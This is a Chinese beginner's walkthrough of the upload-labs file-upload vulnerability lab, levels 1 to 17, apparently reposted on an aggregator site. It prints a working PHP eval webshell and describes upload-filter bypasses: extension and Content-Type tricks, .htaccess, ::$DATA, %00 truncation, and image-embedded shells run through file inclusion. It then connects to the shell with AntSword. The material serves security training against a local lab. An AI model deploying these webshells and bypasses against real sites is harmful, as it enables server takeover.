upload-labs-master文件上传漏洞靶场详解(1-17)
Posted WeiYweiy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了upload-labs-master文件上传漏洞靶场详解(1-17)相关的知识,希望对你有一定的参考价值。
目录
本人是文件上传初学者,所以文章是按照自己做题思路写的,比较适合入门。如有错误欢迎指正!
前言
工具:phpstudy(不推荐使用小皮,因为小皮集成度和安全性较高,部分实验可能会出现错误),蚁剑或菜刀,BurpSuite,WinHex(十六进制文件编辑器)
pass-01
1.查看源代码发现只允许上传.jpg .png .gif三个类型的文件,于是把php一句话木马后缀改成.png(其他两个也行)结尾再上传。(目的是绕过前端验证)
2.一句话木马
//webshell.php
<?php
@eval($_POST['root']); //root为连接口令
?>
3.使用bp抓包,修改文件后缀
4.上传成功后是这样,把图片在新窗口打开,无报错信息说明上传成功了(文件上传成功不代表木马解析成功,要验证木马有没有解析成功要使用)
5.记住上传成功的路径(因为原路径中含有中文字符,所以插件自动使用了url编码)
做到这一步已经算完成了,后面的蚁剑连接可以不操作。想要进一步验证的可以继续往下看
6.用中国蚁剑测试连接,地址为上面那个,直接复制过来,密码为root,测试成功后添加数据
pass-02
方法一:同pass-01
方法二:
- 直接上传.php文件会报错,查看源代码发现了上传限制:
2.上传webshell.php文件,用bp拦截,修改参数Content-Type字段
3.放包,上传成功,记住路径
4.蚁剑连接
pass-03
- 先上传一个.php文件,看看报错情况,发现是黑名单验证
- 修改apache的配置文件。文件位置:phpstudy-->其他菜单选项-->打开配置问价-->httpd.conf。在文件中加入:AddType application/x-httpd-php .php .phtml .phps .php5 .pht .html,如下所示。目的是使浏览器能解析带有以下后缀的文件。保存,重启服务。
3.上传webshell.php文件,bp抓包修改为webshell.php5,因为已经在配置文件加入了.php5后缀的验证,所以.php5既可以绕过黑名单,网站也能解析。
4.在回显包中查看上传路径,用蚁剑连接
5.在用蚁剑连接时如果多次出现返回数据为空的情况有可能是浏览器还没有把木马解析成功,重启一下phpstudy服务和靶场,多试几次。如果蚁剑报错的是一长串红色代码,那可能是路径出错了。
pass-04
1.查看源代码,发现黑名单禁止了很多后缀文件通过,可以用.htaccess进行绕过。简单来说.htaccess文件的作用就是把当前目录的所有文件都当作php解析,无论上传什么文件都当作php执行。
关于.htaccess文件的详细知识请参考:(40条消息) .htaccess简介_web(song)的博客-CSDN博客_.htaccess
2.使用.htaccess的前提是①.mod_rewrite模块开启。(这项不用理会,php是默认开启的)②.AllowOverride All
(1)创建一个.htaccess文件,里面的内容为如下:这个文件的目的是把上传的.jpg文件全部转化成.php文件
(2)修改配置文件httpd.conf:
3.先上传.htaccess,再上传webshell.jpg。上传webshell.jpg的 时候用Bp抓包,可以发送到重发器,在回显包中记住路径
4.用蚁剑连接,成功
pass-05
1.直接查看源代码,发现黑名单增加了.htaccess限制,文件末尾点限制,字符串::$DATA限制和空格限制。但是没有大小写限制,可以通过大小写来绕过验证
2.将文件命名修改成webshell.PhP后上传,记住上传成功路径,蚁剑连接
pass-06
1.直接查看源代码,发现有文件后缀、.htacess、文件末尾点、字符、大小写限制,但是没有文件末尾空格限制。
2.上传webshell.php文件,抓包,在bp中将后缀末尾加一个空格,上传成功查看回显包路径,蚁剑连接
pass-07
- 直接查看源代码,发现没有文件末尾点.限制
2.上传webshell.php文件,在bp中将将后缀末尾加一个点,上传成功查看回显包路径.
pass-08
1.查看源代码,发现没有特殊字符::$DATA限制
2.修改文件名为webshell::$DATA.php.在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名.
3.上传.php文件,在bp中将将后缀末尾加::$DATA,上传成功查看回显包路径
4.上传.php文件,在bp中将将后缀末尾加::$DATA,上传成功查看回显包路径
pass-09
1.分析一下源代码,如果文件末尾有点和空格,会删除点和空格,但都只会删除一次,如果把点和空格连用,就可以绕过。
2.上传webshell.php在bp修改后缀,加上“. .”点空格点,经过解析后会删除一个点和一个空格,只剩下webshell.php.既能绕过.php后缀限制,又能解析成功
pass-10
1.使用双写绕过
pass-11
1.查看了源代码,发现使用了白名单验证,所以之前的方法都不能用了。并且$img_path这个变量是直接拼接的,所以可以用%00进行截断绕过
2.把phpstudy版本切换到低于5.3.29,并把魔术函数magic_quotes_gpc相关选项都关闭。做完之后记得把php版本改回来,不然后面的题可能会出错。
3.上传.jpg文件,在bp中修改。变量save_path= 代表路径可控,且在GET参数中,%00会自动解码,所以可以直接修改存储路径。在webshell.php后面加上%00,其后面的内容就会被阶段,上传成功后就是php文件。
pass-12
- 查看源代码,这一题的传参方法变成了POST类型
2.在POST里加%00会被认为是普通字符串,所以%00不会自动解码,要先对%00进行编码
pass-13
- 题目背景说了这题是图片马+文件按包含。于是先制作图片马。先准备一张正常图片(1.jpg),和一句话木马(webshell.php)放在同一文件夹下面,打开命令行cmd,输入以下命令:
copy 1.jpg/b + webshell.php/a PhotoShell,jpg
// /b是二进制文件,/a是ASCII文件,PhotoShell,jpg是新生成的图片马的文件
以下返回表示图片马制作成功
2.上传PhotoShell.jpg,会显示上传成功。但是这个时候网站不会把图片解析成php利用,所以要借助文件包含。因为在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。
3.构造文件包含路径并访问,出现乱码而非原本的图片,说明利用成功。需要注意的是,做这题的phpstudy版本要调高一点,之前在做某一题的时候把版本调成了5.3.23,需要调成5.4.45才能成功。构造路径:http://127.0.0.1/include.php?file=upload/图片名.jpg
4.蚁剑连接时,注意url地址是含有include?file那个,而不是只有图片路径的。
pass-14
1.查看源代码,使用了getimagesize函数来判断文件类型。还是可以用图片马绕过
getimagesize()函数详细知识参考:php getimagesize 函数 – 获取图像信息 | 菜鸟教程 (runoob.com)
2.其余步骤同13
pass-15
1.查看源代码,这题是利用php_exif来判断文件类型,可以用图片马绕过。
exif_imagetype()函数详细知识参考:PHP: exif_imagetype - Manual
2.在上传之前记得修改配置文件php.exif,将其打开,不然上传上去就是一片空白.改好后重启一下。
3.其余步骤同13
pass-16
- 本题是二次渲染,刚开始上传的图片会被渲染,导致原有的属性被改变。为了方便先做一张gif的图片马。(推荐使用gif)
2.利用WinHex十六进制文件编辑器,将一句话木马放到不会被改变的位置,保存
WinHex下载地址:
链接:https://pan.baidu.com/s/16Pxrz2kDU823CwjOO6TDtQ
提取码:8lk3
3.修改之后可以看到,有马图片明显比正常图片有病。上传有马图片,利用文件包含,其余步骤同13
4.上传成功
pass-17
步骤同16
以上是关于upload-labs-master文件上传漏洞靶场详解(1-17)的主要内容,如果未能解决你的问题,请参考以下文章
文件上传 [upload-labs-master][Pass1-10]